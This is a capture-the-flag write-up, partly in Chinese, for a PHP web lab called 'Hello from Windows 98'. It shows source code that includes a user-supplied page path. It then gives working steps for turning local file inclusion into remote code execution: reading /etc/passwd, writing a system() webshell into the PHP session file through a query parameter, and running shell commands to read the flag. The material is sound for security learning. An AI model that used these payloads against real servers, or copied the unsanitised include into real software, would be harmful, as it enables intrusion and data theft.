Simple Web 0x01(Lab - Hello from Windows 98)

Posted on | Post modified | In |

Simple Web 0x01(Lab - Hello from Windows 98)

tags: CTF Web eductf

Challenge: https://windows.ctf.zoolab.org/

Very similar to 0x07(Lab - HakkaMD)

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
  session_start();
  if(isset($_GET['source'])){
    highlight_file('./'.$_GET['source'].'.php');
    die();
  }
  if(isset($_GET['name']) && $_GET['name']!=''){
    $_SESSION['name'] = $_GET['name'];
    header("Location: /?page=hi.php");
    die();
  }
  if(!isset($_GET['page'])){
    header("Location: /?page=say.php");
    die();
  }
?>
<!DOCTYPE html>
<html>
<head>
  <title>Hello from Windows 98</title>
  <meta charset="UTF-8" />
  <link rel="stylesheet" href="https://unpkg.com/98.css" />
</head>
<style>
    body{
        background: url('blue.png');
        background-size: cover;
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100vh;
        margin: 0;
    }
</style>
</style>
<body>
  <div class="window" style="margin: 32px; width: 500px">
    <div class="title-bar">
      <div class="title-bar-text">
        Hello World..
      </div>
      <div class="title-bar-controls">
        <button aria-label="Minimize"></button>
        <button aria-label="Maximize"></button>
        <button aria-label="Close"></button>
      </div>
    </div>
    <div class="window-body">
      <?php include($_GET['page']);?>
    </div>
  </div>
</body>
</html>

Analyze

  1. 第一個關鍵應該就是最下面的，代表可以利用page query到任意檔案 
    1
    2
    3
    4
    5
      ...
   <div class="window-body">
     <?php include($_GET['page']);?>
   </div>
  ...
  2. 第二個關鍵應該是透過name寫入特定檔案，而這個特定檔案就是php的session file 
    1
    2
    3
    4
    5
    6
    7
      ...
 if(isset($_GET['name']) && $_GET['name']!=''){
   $_SESSION['name'] = $_GET['name'];
   header("Location: /?page=hi.php");
   die();
 }
  ...
  3. 基本上如果沒有特別說明，我們都會預設題目的設定為default，那麼就可以假設php的session file放在default的folder
    • /tmp/sess_<phpsessid>
    • /var/lib/php/sessions/sess_<phpsessid>
  4. 因此，我們要做的事情就可以串在一起，初次request website的時候會自動因為session_start();而create一個session file，並且存放在上述提到的地方，那麼我們可以利用name query的方式寫webshell進去該檔案，再利用page query的方式達到RCE

Exploit - LFI to RCE

  1. First things first, the website has LFI problem 
    1
      https://windows.ctf.zoolab.org/?page=/etc/passwd

  2. 通靈

    : It didn’t provide any information about system, so we can assume the setting is default at first. 先看一下網站上的cookie seesion phpsessid是多少 → nca4b5qigmkrl0b0bjid40cbr2

  3. 寫入webshell到session file 
    1
      http://localhost:8000/?name=<?php system($_GET['sh']); ?>

    ↓ We use LFI to read session file: ``` https://windows.ctf.zoolab.org/?page=/tmp/sess_nca4b5qigmkrl0b0bjid40cbr2

# 如果是deploy local server在Ubuntu的話要更改session file的path http://localhost:8000/?page=/var/lib/php/sessions/sess_nca4b5qigmkrl0b0bjid40cbr2

1
2
3
  ![](https://i.imgur.com/gAnKZGF.png)
  It execute system function successfully.
  ↓

https://windows.ctf.zoolab.org/?page=/tmp/sess_995c0ecc84473170723e595f9f4b8829&sh=ls%20/var/www/html

1
2
3
  ↓
  ![](https://i.imgur.com/JOOmyyl.png)
  ↓

https://windows.ctf.zoolab.org/?page=/tmp/sess_995c0ecc84473170723e595f9f4b8829&sh=cat%20/var/www/html/flag.txt ```

  1. Then we got flag!!!